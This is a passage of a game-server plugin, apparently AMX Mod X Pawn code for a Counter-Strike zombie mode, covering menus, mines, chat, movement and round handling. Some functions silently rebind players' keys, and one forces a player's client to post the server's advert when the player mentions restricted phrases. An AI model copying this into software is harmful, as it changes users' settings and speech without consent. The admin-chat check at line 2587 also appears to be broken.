2530 if (!g_bAlive[iPlayer] || g_bZombie[iPlayer] || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512)
2531 {
2532 client_print_color ( iPlayer, print_team_default, "^4[Zombie Outstanding]^1 Mines are unavailable right now!");
2533 return 0;
2534 }
2535 else
2536 {
2537 if ( g_iPacks [iPlayer] < 5 )
2538 {
2539 client_print_color ( iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You need at least^4 5 ammo packs");
2540 return 0;
2541 }
2542 g_iPacks [iPlayer] -= 5;
2543 g_iTripMines [iPlayer]++;
2544 client_print_color ( iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Press^3 P^1 to plant it or^3 V^1 to take it!");
2545 client_cmd(iPlayer, "bind p plant_mine; bind v take_mine");
2546 return 0;
2547 }
2548 }
2549 }
2550 return 0;
2551}
2552
2553public Client_SayTeam ( id )
2554{
2555 if ( read_argc ( ) < 2 ) return PLUGIN_HANDLED;
2556
2557 static Float:fGameTime;
2558
2559 fGameTime = get_gametime();
2560
2561 if (g_fGagTime[id] > fGameTime)
2562 {
2563 return 1;
2564 }
2565 new Said [2]; read_argv ( 1, Said, charsmax ( Said ) );
2566
2567 if ( Said [0] != '@' ) return PLUGIN_CONTINUE;
2568
2569 new Message [192]; read_args ( Message, charsmax ( Message ) );
2570
2571 remove_quotes ( Message );
2572
2573 new Players [32], Num;
2574
2575 if ( get_user_flags ( id ) & read_flags ( "f" ))
2576
2577 format ( Message, charsmax ( Message ), "^4[ADMINS]^3 %s^1 :%s", GetInfoPlayer ( id, INFO_NAME ), Message [1] );
2578
2579 else
2580
2581 format ( Message, charsmax ( Message ), "^3(PLAYER) %s^1 :%s", GetInfoPlayer ( id, INFO_NAME ), Message [1] );
2582
2583 get_players ( Players, Num );
2584
2585 for ( new i = 0; i < Num; ++ i )
2586 {
2587 if ( Players [i] != id && read_flags ("f") )
2588
2589 client_print_color ( Players [i], print_team_grey, "%s", Message );
2590 }
2591
2592 client_print_color ( id, print_team_grey, "%s", Message );
2593 return PLUGIN_HANDLED;
2594}
2595
2596public ClientCommand_Say( id )
2597{
2598 static cPhrase[ 192 ], i;
2599 read_args( cPhrase, 191 );
2600
2601 if( containi( cPhrase, "CsOutStanding.Com" ) != -1 )
2602 return PLUGIN_CONTINUE;
2603
2604 for(i = 0; i < sizeof ( g_szRestrictedThings ); i++)
2605 {
2606 if( containi( cPhrase, g_szRestrictedThings[ i ] ) != -1 )
2607 {
2608 client_cmd( id, "say NewLifeZm.CsOutStanding.Com" );
2609
2610 return PLUGIN_HANDLED;
2611 }
2612 }
2613
2614 return PLUGIN_CONTINUE;
2615}
2616
2617public _GameMenu(iPlayer, iMenu, iItem)
2618{
2619 if (iItem != -3 && !g_bFake[iPlayer] && g_bConnected[iPlayer])
2620 {
2621 static iChoice;
2622 static iDummy;
2623 static cBuffer[3];
2624 menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
2625 iChoice = str_to_num(cBuffer);
2626 switch (iChoice)
2627 {
2628 case 0:
2629 {
2630 if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer])
2631 {
2632 static cNumber[3];
2633 static cLine[128];
2634 static i;
2635 g_iMenuExtraItems = menu_create("Extra Items", "_ExtraItems", 0);
2636 i = 0;
2637 while (i < 25)
2638 {
2639 if (g_iExtraItemsTeams[i] == 1 && !g_bZombie[iPlayer])
2640 {
2641 }
2642 else
2643 {
2644 if (!(g_bZombie[iPlayer] && g_iExtraItemsTeams[i] == 2))
2645 {
2646 formatex(cLine, 128, "%s %s", g_cExtraItems[i], g_cExtraItemsPrices[i]);
2647 num_to_str(i, cNumber, 3);
2648 menu_additem(g_iMenuExtraItems, cLine, cNumber, 0, -1);
2649 }
2650 }
2651 i += 1;
2652 }
2653 menu_display(iPlayer, g_iMenuExtraItems, 0);
2654 }
2655 else
2656 {
2657 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Extra items are unavailable right now...");
2658 }
2659 }
2660 case 1:
2661 {
2662 menu_display(iPlayer, g_iMenuZombieClasses, 0);
2663 }
2664 case 2:
2665 {
2666 static cNumber[3];
2667 static cLine[128];
2668 static i;
2669 g_iShopMenu = menu_create("Shop Menu", "_ShopMenu", 0);
2670 i = 0;
2671 while (i < 8)
2672 {
2673 if (g_iShopItemsTeams[i] == 2 && g_bZombie[iPlayer])
2674 {
2675 }
2676 else
2677 {
2678 formatex(cLine, 128, "%s %s", g_cShopItems[i], g_cShopItemsPrices[i]);
2679 num_to_str(i, cNumber, 3);
2680 menu_additem(g_iShopMenu, cLine, cNumber, 0, -1);
2681 }
2682 i += 1;
2683 }
2684 menu_display(iPlayer, g_iShopMenu, 0);
2685 }
2686 case 3:
2687 {
2688 if (g_bAlive[iPlayer])
2689 {
2690 if (is_player_stuck(iPlayer))
2691 {
2692 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You have been unstucked!")
2693 static players[32], pnum , Float:origin[3], Float:mins[3], hull, Float:vec[3], o , i
2694 get_players(players, pnum)
2695
2696 for(i=0; i<pnum; i++)
2697 {
2698 iPlayer = players[i]
2699 if (is_user_connected(iPlayer) && is_user_alive(iPlayer))
2700 {
2701 pev(iPlayer, pev_origin, origin)
2702 hull = pev(iPlayer, pev_flags) & FL_DUCKING ? HULL_HEAD : HULL_HUMAN
2703 if (!unstuck_is_hull_vacant(origin, hull,iPlayer) && !get_user_noclip(iPlayer) && !(pev(iPlayer,pev_solid) & SOLID_NOT))
2704 {
2705 ++on_stuck[iPlayer]
2706 if(on_stuck[iPlayer] >= 1)
2707 {
2708 pev(iPlayer, pev_mins, mins)
2709 vec[2] = origin[2]
2710 for (o=0; o < sizeof sizez; ++o)
2711 {
2712 vec[0] = origin[0] - mins[0] * sizez[o][0]
2713 vec[1] = origin[1] - mins[1] * sizez[o][1]
2714 vec[2] = origin[2] - mins[2] * sizez[o][2]
2715 if (unstuck_is_hull_vacant(vec, hull,iPlayer))
2716 {
2717 engfunc(EngFunc_SetOrigin, iPlayer, vec)
2718 client_cmd(iPlayer,"spk fvox/blip.wav")
2719 set_pev(iPlayer,pev_velocity,{0.0,0.0,0.0})
2720 o = sizeof sizez
2721 }
2722 }
2723 }
2724 }
2725 else
2726 {
2727 on_stuck[iPlayer] = 0
2728 }
2729 }
2730 }
2731 }
2732 else
2733 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You are dead or your are not stuck...")
2734 }
2735 }
2736 case 4:
2737 {
2738 static queryData[32] = { 0, ... };
2739 if (!g_bRanked[iPlayer])
2740 {
2741 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You are not ranked yet!");
2742 }
2743 else
2744 {
2745 num_to_str(iPlayer, queryData, charsmax(queryData));
2746
2747 formatex(g_Query, charsmax(g_Query), "SELECT DISTINCT kmdValue FROM Players WHERE kmdValue >= %d ORDER BY kmdValue ASC;", g_kmdValue[iPlayer]);
2748
2749 SQL_ThreadQuery(g_Tuple, "printRankChat", g_Query, queryData, sizeof(queryData));
2750 }
2751 }
2752 case 5:
2753 {
2754 client_cmd(iPlayer, "say /top")
2755 }
2756 default:
2757 {
2758 }
2759 }
2760 }
2761 return PLUGIN_HANDLED;
2762}
2763
2764public OnPlayerDuck ( id )
2765{
2766 if ( !g_bAlive [id] ) return;
2767
2768 if ( g_bZombie [id] && g_iPlayerType[id] & 1 && g_iPlayerType[id] & 2)
2769
2770 set_pev ( id, pev_flTimeStepSound, 999 );
2771
2772 if ( g_bFrozen [id])
2773 {
2774 set_pev ( id, pev_velocity, Float: {0.0,0.0,0.0} );
2775
2776 set_pev ( id, pev_maxspeed, 1.0 );
2777
2778 return;
2779 }
2780 else if ( FreezeTime )
2781 {
2782 return;
2783 }
2784 else
2785 {
2786 if ( g_bZombie [id] )
2787 {
2788 if ( g_iPlayerType[id] & 1 )
2789
2790 set_pev ( id, pev_maxspeed, 250.0 );
2791
2792 else if ( g_iPlayerType[id] & 2 )
2793
2794 set_pev ( id, pev_maxspeed, 600.0 );
2795
2796 else
2797 set_pev ( id, pev_maxspeed, g_fZombieSpeeds[g_iZombieClass[id]]);
2798 }
2799 else
2800 {
2801 if ( g_iPlayerType[id] & 4 )
2802
2803 set_pev ( id, pev_maxspeed, 230.0 );
2804
2805 else if ( g_iPlayerType[id] & 8 )
2806
2807 set_pev(id, pev_maxspeed, 235.0 );
2808
2809 else
2810
2811 set_pev(id, pev_maxspeed, 240.0 );
2812 }
2813 }
2814 static Float: CoolDown, Float: CurrentTime;
2815
2816 if ( g_bZombie [id] && g_iPlayerType[id] & 1 )
2817 {
2818 CoolDown = 1.0;
2819 }
2820 else return;
2821
2822 CurrentTime = get_gametime ( );
2823
2824 if ( CurrentTime - g_fLastLeapTime [id] < CoolDown ) return;
2825
2826 if ( !g_bFake [id] && !( pev ( id, pev_button ) & ( IN_JUMP | IN_DUCK ) == ( IN_JUMP | IN_DUCK ) ) ) return;
2827
2828 if ( !( pev ( id, pev_flags ) & FL_ONGROUND ) || fm_get_speed ( id ) < 80 ) return;
2829
2830 static Float: Velocity [3];
2831
2832 velocity_by_aim ( id, 500, Velocity )
2833
2834 Velocity [2] = 300.0;
2835
2836 set_pev ( id, pev_velocity, Velocity );
2837
2838 g_fLastLeapTime [id] = CurrentTime;
2839}
2840
2841public OnPreFrame(iPlayer)
2842{
2843 if (g_bAlive[iPlayer])
2844 {
2845 if (g_bFrozen[iPlayer])
2846 {
2847 fm_set_user_maxspeed(iPlayer, 1.0);
2848 }
2849
2850 if (g_bZombie[iPlayer])
2851 {
2852 if (!g_iPlayerType[iPlayer])
2853 {
2854 fm_set_user_maxspeed(iPlayer, g_fZombieSpeeds[g_iZombieClass[iPlayer]]);
2855 fm_set_user_gravity(iPlayer, g_fZombieGravities[g_iZombieClass[iPlayer]]);
2856 }
2857 else
2858 {
2859 if (g_iPlayerType[iPlayer] & 1)
2860 {
2861 fm_set_user_maxspeed(iPlayer, 250.0);
2862 fm_set_user_gravity(iPlayer, 0.5);
2863 }
2864 if (g_iPlayerType[iPlayer] & 2)
2865 {
2866 fm_set_user_maxspeed(iPlayer, 600.0);
2867 fm_set_user_gravity(iPlayer, 0.33);
2868 }
2869 }
2870 }
2871 else
2872 {
2873 if (!g_iPlayerType[iPlayer])
2874 {
2875 fm_set_user_maxspeed(iPlayer, 240.0);
2876 fm_set_user_gravity(iPlayer, 1.0);
2877 }
2878 if (g_iPlayerType[iPlayer] & 4)
2879 {
2880 fm_set_user_maxspeed(iPlayer, 250.0);
2881 fm_set_user_gravity(iPlayer, 1.0);
2882 }
2883 if (g_iPlayerType[iPlayer] & 8)
2884 {
2885 fm_set_user_maxspeed(iPlayer, 250.0);
2886 fm_set_user_gravity(iPlayer, 0.8);
2887 }
2888 }
2889 }
2890 return 0;
2891}
2892
2893public OnPlayerJump(iPlayer)
2894{
2895 if (g_bAlive[iPlayer])
2896 {
2897 new nbut = get_user_button(iPlayer)
2898 new obut = get_user_oldbutton(iPlayer)
2899
2900 if (g_bZombie[iPlayer] && !g_iPlayerType[iPlayer] && g_iZombieClass[iPlayer] == 3)
2901 {
2902 if ((nbut & IN_JUMP) && !(get_entity_flags(iPlayer) & FL_ONGROUND) && !(obut & IN_JUMP) && !g_iJumps[iPlayer])
2903 {
2904 new Float:fVelocity[3];
2905 entity_get_vector(iPlayer, EV_VEC_velocity, fVelocity)
2906 fVelocity[2] = random_float(265.0, 285.0);
2907 entity_set_vector(iPlayer, EV_VEC_velocity, fVelocity)
2908 g_iJumps[iPlayer]++;
2909 }
2910 if((nbut & IN_JUMP) && (get_entity_flags(iPlayer) & FL_ONGROUND))
2911 {
2912 g_iJumps[iPlayer] = 0;
2913 }
2914 }
2915 if (!g_bZombie[iPlayer] && g_iMaxJumps[iPlayer])
2916 {
2917 if ((nbut & IN_JUMP) && !(get_entity_flags(iPlayer) & FL_ONGROUND) && !(obut & IN_JUMP) && g_iJumps[iPlayer] <= g_iMaxJumps[iPlayer] - 1)
2918 {
2919 new Float:fVelocity[3];
2920 entity_get_vector(iPlayer, EV_VEC_velocity, fVelocity)
2921 fVelocity[2] = random_float(265.0, 285.0);
2922 entity_set_vector(iPlayer, EV_VEC_velocity, fVelocity)
2923 g_iJumps[iPlayer]++;
2924 }
2925 if((nbut & IN_JUMP) && (get_entity_flags(iPlayer) & FL_ONGROUND))
2926 {
2927 g_iJumps[iPlayer] = 0;
2928 }
2929 }
2930 }
2931 return 0;
2932}
2933
2934public client_PreThink ( id )
2935{
2936 if ( g_bAlive [id] )
2937 {
2938 new Button = get_user_button ( id );
2939
2940 new Float: FallSpeed = 50.0 * -1.0;
2941
2942 if ( Button & IN_USE )
2943 {
2944 new Float: Velocity [3];
2945
2946 entity_get_vector ( id, EV_VEC_velocity, Velocity );
2947
2948 if ( Velocity [2] < 0.0 )
2949 {
2950 entity_set_int ( id, EV_INT_sequence, 3 );
2951
2952 entity_set_int ( id, EV_INT_gaitsequence, 1 );
2953
2954 entity_set_float ( id, EV_FL_frame, 1.0 );
2955
2956 entity_set_float ( id, EV_FL_framerate, 1.0 );
2957
2958 Velocity [2] = ( Velocity [2] + 40.0 < FallSpeed ) ? Velocity [2] + 40.0 : FallSpeed;
2959
2960 entity_set_vector ( id, EV_VEC_velocity, Velocity );
2961 }
2962 }
2963 }
2964}
2965
2966public PlayerPreThink ( id )
2967{
2968 if ( g_bAlive [id] )
2969 {
2970 if (!g_bZombie [id])
2971 {
2972 if (g_vip[id] && g_bAlive[id]&&containi(g_vip_flags[id], "j")!=-1)
2973 {
2974 new nbut = get_user_button(id)
2975 new obut = get_user_oldbutton(id)
2976 if((nbut & IN_JUMP) && !(get_entity_flags(id) & FL_ONGROUND) && !(obut & IN_JUMP))
2977 {
2978 if(jumpnum[id] < 1)
2979 {
2980 dojump[id] = true
2981 jumpnum[id]++
2982 }
2983 }
2984 if((nbut & IN_JUMP) && (get_entity_flags(id) & FL_ONGROUND))
2985 {
2986 jumpnum[id] = 0
2987 }
2988 }
2989 }
2990 }
2991}
2992
2993public OnPlayerSpawn(iPlayer)
2994{
2995 if (is_user_alive(iPlayer))
2996 {
2997 g_bAlive[iPlayer] = true;
2998 g_iPlayerType[iPlayer] = 0;
2999 cs_reset_user_model(iPlayer)
3000 g_cClass[iPlayer] = "Human"
3001 g_bFlashEnabled[iPlayer] = false;
3002 g_bDoubleDamage[iPlayer] = false;
3003 g_bKilling[iPlayer] = false;
3004 g_bFlash[iPlayer] = false;
3005 g_bZombie[iPlayer] = false;
3006 g_bNoDamage[iPlayer] = false;
3007 g_bFrozen[iPlayer] = false;
3008 g_iBurningDuration[iPlayer] = 0;
3009 fm_set_user_health ( iPlayer, 150 );
3010 set_pev(iPlayer, pev_gravity, 1.0 );
3011 remove_task(iPlayer + 250);
3012 remove_task(iPlayer + 200, 0);
3013 remove_task(iPlayer + 350, 0);
3014 set_task(0.4, "task_hide_money", iPlayer+TASK_SPAWN);
3015 static Float:fCurrentTime;
3016 fCurrentTime = get_gametime();
3017 if (fCurrentTime - g_fLastChangedModel >= 0.3)
3018 {
3019 ChangeModel(iPlayer + 250);
3020 g_fLastChangedModel = fCurrentTime;
3021 }
3022 else
3023 {
3024 set_task(g_fLastChangedModel + 0.3 - fCurrentTime, "ChangeModel", iPlayer + 250, "", 0, "", 0);
3025 g_fLastChangedModel = g_fLastChangedModel + 0.3;
3026 }
3027 fm_set_rendering ( iPlayer, kRenderFxGlowShell, 0, 0, 0, kRenderNormal, 0 );
3028 set_task(0.20, "TaskShowMenu", iPlayer, "", 0, "", 0);
3029 set_task(random_float(1.0, 5.0), "TaskRespawn", iPlayer, "", 0, "", 0);
3030 if (!g_bRoundStart)
3031 {
3032 if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 64 || g_iRoundType & 32)
3033 {
3034 MakeZombie(0, iPlayer, false, false, false);
3035 }
3036 if (!g_iRoundType || g_iRoundType & 1 || g_iRoundType & 2)
3037 {
3038 if (fm_cs_get_user_team(iPlayer) != FM_CS_TEAM_CT)
3039 {
3040 remove_task ( iPlayer + TASK_TEAM );
3041
3042 fm_cs_set_user_team ( iPlayer, FM_CS_TEAM_CT );
3043
3044 fm_user_team_update ( iPlayer );
3045 }
3046 }
3047 if (g_iRoundType & 128 || g_iRoundType & 256)
3048 {
3049 MakeHuman(iPlayer, true, false);
3050 }
3051 if (g_iRoundType & 512)
3052 {
3053 MakeZombie(0, iPlayer, false, false, true);
3054 }
3055 }
3056 }
3057 return 0;
3058}
3059
3060public TaskRespawn(iPlayer)
3061{
3062 if (g_bConnected[iPlayer] && FM_CS_TEAM_UNASSIGNED < fm_cs_get_user_team(iPlayer) < FM_CS_TEAM_SPECTATOR)
3063 {
3064 if (!g_bAlive[iPlayer])
3065 {
3066 ExecuteHamB(Ham_CS_RoundRespawn, iPlayer);
3067 set_task(1.50, "TaskRespawn", iPlayer, "", 0, "", 0);
3068 }
3069 set_pev(iPlayer, pev_effects, pev(iPlayer, pev_effects) &~ EF_BRIGHTLIGHT)
3070 set_pev(iPlayer, pev_effects, pev(iPlayer, pev_effects) &~ EF_NODRAW)
3071 }
3072 return 0;
3073}
3074
3075public EventRoundEnd()
3076{
3077 static Float:fCurrent;
3078 static Float:fLast;
3079 fCurrent = get_gametime();
3080 if (fCurrent - fLast < 0.50)
3081 {
3082 return 0;
3083 }
3084 fLast = fCurrent;
3085 g_iRoundsCount += 1;
3086 g_roundend = 1
3087 g_iRounds[g_iRoundsCount] = g_iRoundType;
3088 g_bRoundEnd = true;
3089 g_bModeStarted = false;
3090 g_iRoundType = 0;
3091 remove_task(600, 0);
3092 remove_task(700, 0);
3093 remove_task(550, 0);
3094 remove_task(900, 0);
3095 remove_task(650, 0);
3096 client_cmd(0, "stopsound");
3097 if (!GetZombies())
3098 {
3099 set_hudmessage(0, 0, 200, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
3100 ShowSyncHudMsg(0, g_iTopMessageSync, "Humans have defeated the plague!");
3101 client_cmd(0, "spk %s", g_cEndRoundHumanSounds[random_num(0, 2)]);
3102 }
3103 else if (!GetHumans())
3104 {
3105 set_hudmessage(200, 0, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
3106 ShowSyncHudMsg(0, g_iTopMessageSync, "Zombies have taken over the world!");
3107 client_cmd(0, "spk %s", g_cEndRoundZombieSounds[random_num(0, 3)]);
3108 }
3109 else
3110 {
3111 set_hudmessage(0, 200, 0, -1.00, 0.17, 0, 0.00, 3.00, 2.00, 1.00, -1);
3112 ShowSyncHudMsg(0, g_iTopMessageSync, "No one won...");
3113 client_cmd(0, "spk ZombieOutstanding/end_round_win_no_one");
3114 }
3115 static iFrags;
3116 static iMaximumPacks;
3117 static iMaximumKills;
3118 static iPacksLeader;
3119 static iKillsLeader;
3120 iMaximumPacks = 0;
3121 iMaximumKills = 0;
3122 iPacksLeader = 0;
3123 iKillsLeader = 0;
3124 g_iVariable = 1;
3125 while (g_iMaxClients + 1 > g_iVariable)
3126 {
3127 if (g_bConnected[g_iVariable])
3128 {
3129 iFrags = get_user_frags(g_iVariable);
3130 if (iFrags > iMaximumKills)
3131 {
3132 iMaximumKills = iFrags;
3133 iKillsLeader = g_iVariable;
3134 }
3135 }
3136 g_iVariable += 1;
3137 }
3138 g_iVariable = 1;
3139 while (g_iMaxClients + 1 > g_iVariable)
3140 {
3141 if (g_bConnected[g_iVariable] && g_iPacks[g_iVariable] > iMaximumPacks)
3142 {
3143 iMaximumPacks = g_iPacks[g_iVariable];
3144 iPacksLeader = g_iVariable;
3145 }
3146 g_iVariable += 1;
3147 }
3148 if (g_bConnected[iKillsLeader])
3149 {
3150 static a[15];
3151 AddCommas(iMaximumKills, a, 14);
3152 if (g_iKillsThisRound[iKillsLeader])
3153 {
3154 client_print_color(0, print_team_grey, "^3%s^1 is^4 Leader^1 with^4 %s^1 frags! [^4 %d^1 this round ]", g_cName[iKillsLeader], a, g_iKillsThisRound[iKillsLeader]);
3155 }
3156 else
3157 {
3158 client_print_color(0, print_team_grey, "^3%s^1 is^4 Leader^1 with^4 %s^1 frags!", g_cName[iKillsLeader], a);
3159 }
3160 }
3161 if (g_bConnected[iPacksLeader])
3162 {
3163 static a[15];
3164 AddCommas(iMaximumPacks, a, 14);
3165
3166 client_print_color(0, print_team_grey, "^3%s^1 is^4 Leader^1 with^4 %s^1 packs!", g_cName[iPacksLeader], a);
3167 }
3168 set_lights ( "d" );
3169 BalanceTeams ( );
3170 return 0;
3171}
3172
3173public EventRoundStart()
3174{
3175 g_iRoundType = 0;
3176 g_roundend = 0
3177 g_bRoundEnd = false;
3178 g_bRoundStart = true;
3179 g_bModeStarted = false;
3180 FreezeTime = false;
3181 remove_task(650, 0);
3182 set_task(2.0, "TaskWelcome", 650, "", 0, "", 0);
3183 set_hudmessage(0, 125, 200, -1.00, 0.17, 1, 0.00, 3.00, 2.00, 1.00, -1);
3184 ShowSyncHudMsg(0, g_iTopMessageSync, "The T-Virus has been set loose...");
3185 g_iCounter = 16;
3186 remove_task(550, 0);
3187 set_task(16.0, "TaskZombie", 550, "", 0, "", 0);
3188 remove_task(700, 0);
3189 set_task(1.0, "TaskCounter", 700, "", 0, "a", 15);
3190 static i;
3191 i = 1;
3192 while (g_iMaxClients + 1 > i)
3193 {
3194 if (g_bConnected[i] && get_user_jetpack(i))
3195 {
3196 set_user_rocket_time(i, 0.0);
3197 }
3198 g_iMaxJumps[i] = 0;
3199 g_bDoubleDamage[i] = false;
3200 g_bTryder[i] = false;
3201 g_iBlinks[i] = 0;
3202 g_iKillsThisRound[i] = 0;
3203 g_bGaveThisRound[i] = false;
3204 g_bUnlimitedClip[i] = 0;
3205 i += 1;
3206 }
3207 return 0;
3208}
3209
3210public cmdPlugins(id)
3211{
3212 if( ~ get_user_flags( id ) & read_flags ("a"))
3213 {
3214 client_print( id, print_console, "Zombie Outstanding No Access to this command!s");
3215 return PLUGIN_HANDLED;
3216 }
3217
3218 if( id == 0 )
3219 {
3220 server_cmd( "amxx plugins" );
3221 server_exec( );
3222
3223 return PLUGIN_HANDLED;
3224 }
3225
3226 new szName[ 64 ], szVersion[ 8 ], szAuthor[ 32 ], szFileName[ 64 ], szStatus[ 32 ];
3227 new iStartId, iEndId;
3228
3229 new szTemp[ 128 ];
3230
3231 new iNum = get_pluginsnum( );
3232
3233 if( read_argc( ) > 1 )
3234 {
3235 read_argv( 1, szTemp, charsmax( szTemp ) );
3236 iStartId = str_to_num( szTemp ) - 1;
3237 }
3238
3239 iEndId = min( iStartId + 10, iNum );
3240
3241 new iRunning;
3242
3243 console_print( id, "Currently loaded plugins" );
3244
3245 new i = iStartId;
3246
3247 while( i < iEndId )
3248 {
3249 get_plugin( i++, szFileName, charsmax( szFileName ), szName, charsmax( szName ), szVersion, charsmax( szVersion ), szAuthor, charsmax( szAuthor ), szStatus, charsmax( szStatus ) );
3250 console_print( id, "%-18.17s %-11.10s %-17.16s %-16.15s %-9.8s", szName, szVersion, szAuthor, szFileName, szStatus );
3251
3252 if( szStatus[ 0 ] == 'd' || szStatus[ 0 ]=='r')
3253 {
3254 iRunning++;
3255 }
3256 }
3257 console_print(id, "%d plugins, %d running", iEndId-iStartId, iRunning );
3258 console_print(id, "----- Entries %d - %d of %d -----", iStartId + 1, iEndId, iNum );
3259
3260 if( iEndId < iNum )
3261 {
3262 formatex( szTemp, charsmax( szTemp ),"----- Use 'amx_help %d' for more -----", iEndId + 1);
3263 replace_all( szTemp, charsmax( szTemp ), "amx_help", "amx_plugins" );
3264 console_print( id, "%s", szTemp );
3265 }
3266
3267 else
3268 {
3269 formatex( szTemp, charsmax( szTemp ),"----- Use 'amx_help 1' for begin -----" );
3270 replace_all( szTemp, charsmax( szTemp ), "amx_help", "amx_plugins" );
3271 console_print( id, "%s", szTemp );
3272 }
3273
3274 return PLUGIN_HANDLED;
3275}
3276
3277public Event_RoundStart()
3278{
3279 static iEntity, szClassName[ 32 ], iPlayer;
3280 for( iEntity = 0; iEntity < 600 + 1; iEntity++ )
3281 {
3282 if( !is_valid_ent( iEntity ) )
3283 continue;
3284
3285 szClassName[ 0 ] = '^0';
3286 entity_get_string( iEntity, EV_SZ_classname, szClassName, 31);
3287
3288 if( equal( szClassName, "zp_trip_mine" ) )
3289 remove_entity( iEntity );
3290 }
3291
3292 for( iPlayer = 1; iPlayer < 33; iPlayer++ )
3293 {
3294 g_iTripMines[ iPlayer ] = 0;
3295 g_iPlantedMines[ iPlayer ] = 0;
3296 }
3297}
3298
3299public TaskWelcome()
3300{
3301 client_print_color(0, print_team_grey, "^1****^4 Zombie Outstanding V2.5^1 by^3 Nume^1 ||^4 Nume.Server.Ro^1 ****");
3302 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Press^4 M^1 to open the game menu!");
3303 return 0;
3304}
3305
3306public TaskZombie()
3307{
3308 if ((g_iAliveCount = GetAliveCount()))
3309 {
3310 g_bRoundStart = false;
3311 if (g_iRoundsCount > 3)
3312 {
3313 StartSwarmMode(false);
3314 }
3315 else
3316 {
3317 StartNormalMode(0);
3318 }
3319 }
3320 else
3321 {
3322 set_task(6.0, "TaskZombie", 550, "", 0, "", 0);
3323 }
3324 return 0;
3325}
3326
3327public TaskAmbience()
3328{
3329 if (g_iRoundType & 4)
3330 {
3331 client_cmd(0, "spk ZombieOutstanding/ambience_survivor");
3332 }
3333 else
3334 {
3335 client_cmd(0, "spk ZombieOutstanding/ambience_normal");
3336 }
3337 return 0;
3338}
3339
3340public TaskCounter()
3341{
3342 g_iCounter -= 1;
3343 if (0 < g_iCounter < 9)
3344 {
3345 static cWord[12];
3346 num_to_word(g_iCounter, cWord, 12);
3347 set_hudmessage(179, 0, 0, -1.00, 0.28, 2, 0.02, 1.00, 0.01, 0.10, 10);
3348 ShowSyncHudMsg(0, g_iCounterMessage, "Infection in %d", g_iCounter);
3349 client_cmd(0, "spk fvox/%s", cWord);
3350 }
3351 return 0;
3352}
3353
3354public EventHLTV()
3355{
3356 g_bRoundStart = true;
3357 g_bModeStarted = false;
3358 g_fRoundStartTime = get_gametime();
3359 for(new id = 1; id <= g_iMaxClients; id++)
3360 {
3361 if(is_user_connected(id))
3362 {
3363 g_bKilling[id] = false
3364 g_bUnlimitedClip[id] = false;
3365 g_iBlinks[id] = 0;
3366 }
3367 }
3368 return 0;
3369}
3370
3371public FW_TraceLine_Post(Float:start[3], Float:end[3], conditions, id, trace)
3372{
3373 if (!CHECK_ValidPlayer(id))
3374 return FMRES_IGNORED;
3375
3376 new iWeaponID = get_user_weapon(id);
3377
3378 if ( iWeaponID != CSW_KNIFE )
3379 {
3380 OP_Cancel(id);
3381 return FMRES_IGNORED;
3382 }
3383
3384 new enemy = g_iEnemy[id];
3385
3386 if (!enemy){
3387
3388 enemy = get_tr2(trace, TR_pHit);
3389
3390 if ( !CHECK_ValidPlayer(enemy) || g_bZombie[enemy] )
3391 {
3392
3393 OP_Cancel(id);
3394 return FMRES_IGNORED;
3395 }
3396
3397 g_iEnemy[id] = enemy;
3398 }
3399
3400 return FMRES_IGNORED;
3401}
3402
3403public fwClientKill ( ) return FMRES_SUPERCEDE;
3404
3405public FW_PlayerPreThink(id)
3406{
3407 if (!CHECK_ValidPlayer(id))
3408 return FMRES_IGNORED;
3409
3410 new iWeaponID = get_user_weapon(id);
3411
3412 if ( iWeaponID != CSW_KNIFE || !g_bZombie[id] )
3413 {
3414
3415 OP_Cancel(id);
3416 return FMRES_IGNORED;
3417 }
3418
3419 if ( g_iBlinks[id] == 0 )
3420 return FMRES_IGNORED;
3421
3422 new button = pev(id,pev_button);
3423
3424 if ( !(button & IN_ATTACK) && !(button & IN_ATTACK2) )
3425 {
3426
3427 OP_Cancel(id)
3428 return FMRES_IGNORED;
3429 }
3430
3431 if (g_iSlash[id])
3432 g_iSlash[id] = 0;
3433
3434 OP_NearEnemy(id);
3435
3436 if( g_iInBlink[id] )
3437 {
3438
3439 OP_SetBlink(id);
3440 OP_Blink(id);
3441 g_iCanceled[id] = 0;
3442 }
3443
3444 return FMRES_IGNORED;
3445}
3446
3447public OP_NearEnemy(id)
3448{
3449 new enemy = g_iEnemy[id];
3450 new Float:time = get_gametime();
3451
3452 if (!enemy || g_fLastSlash[id]+1.0>time)
3453 {
3454
3455 g_iInBlink[id] = 0;
3456 return;
3457 }
3458
3459 new origin[3], origin_enemy[3];
3460
3461 get_user_origin(id, origin, 0);
3462 get_user_origin(enemy, origin_enemy, 0);
3463
3464 new distance = get_distance(origin, origin_enemy);
3465
3466 if ( 50.0<=distance<=300.0)
3467 {
3468
3469 g_iInBlink[id] = 1;
3470 return;
3471
3472 }else if (50.0>distance && g_iInBlink[id])
3473 {
3474 OP_Slash(id);
3475 }
3476 OP_Cancel(id);
3477}
3478
3479public OP_Blink(id)
3480{
3481 new Float:new_velocity[3];
3482 new enemy = g_iEnemy[id];
3483 new Float:origin_enemy[3];
3484
3485 pev(enemy, pev_origin, origin_enemy);
3486 entity_set_aim(id, origin_enemy);
3487
3488 get_speed_vector2(id, enemy, 1000.0, new_velocity)
3489 set_pev(id, pev_velocity, new_velocity);
3490}
3491
3492public OP_Cancel(id)
3493{
3494 g_iInBlink[id] = 0;
3495 g_iEnemy[id] = 0;
3496 if (!g_iCanceled[id])
3497 {
3498 OP_SetBlink(id);
3499 g_iCanceled[id] = 1;
3500 }
3501}
3502
3503public OP_Slash(id)
3504{
3505 set_pev(id, pev_velocity, {0.0,0.0,0.0});
3506
3507 new weaponID = get_user_weapon(id, _, _);
3508
3509 if(weaponID == CSW_KNIFE)
3510 {
3511 new weapon[32]
3512
3513 get_weaponname(weaponID,weapon,31)
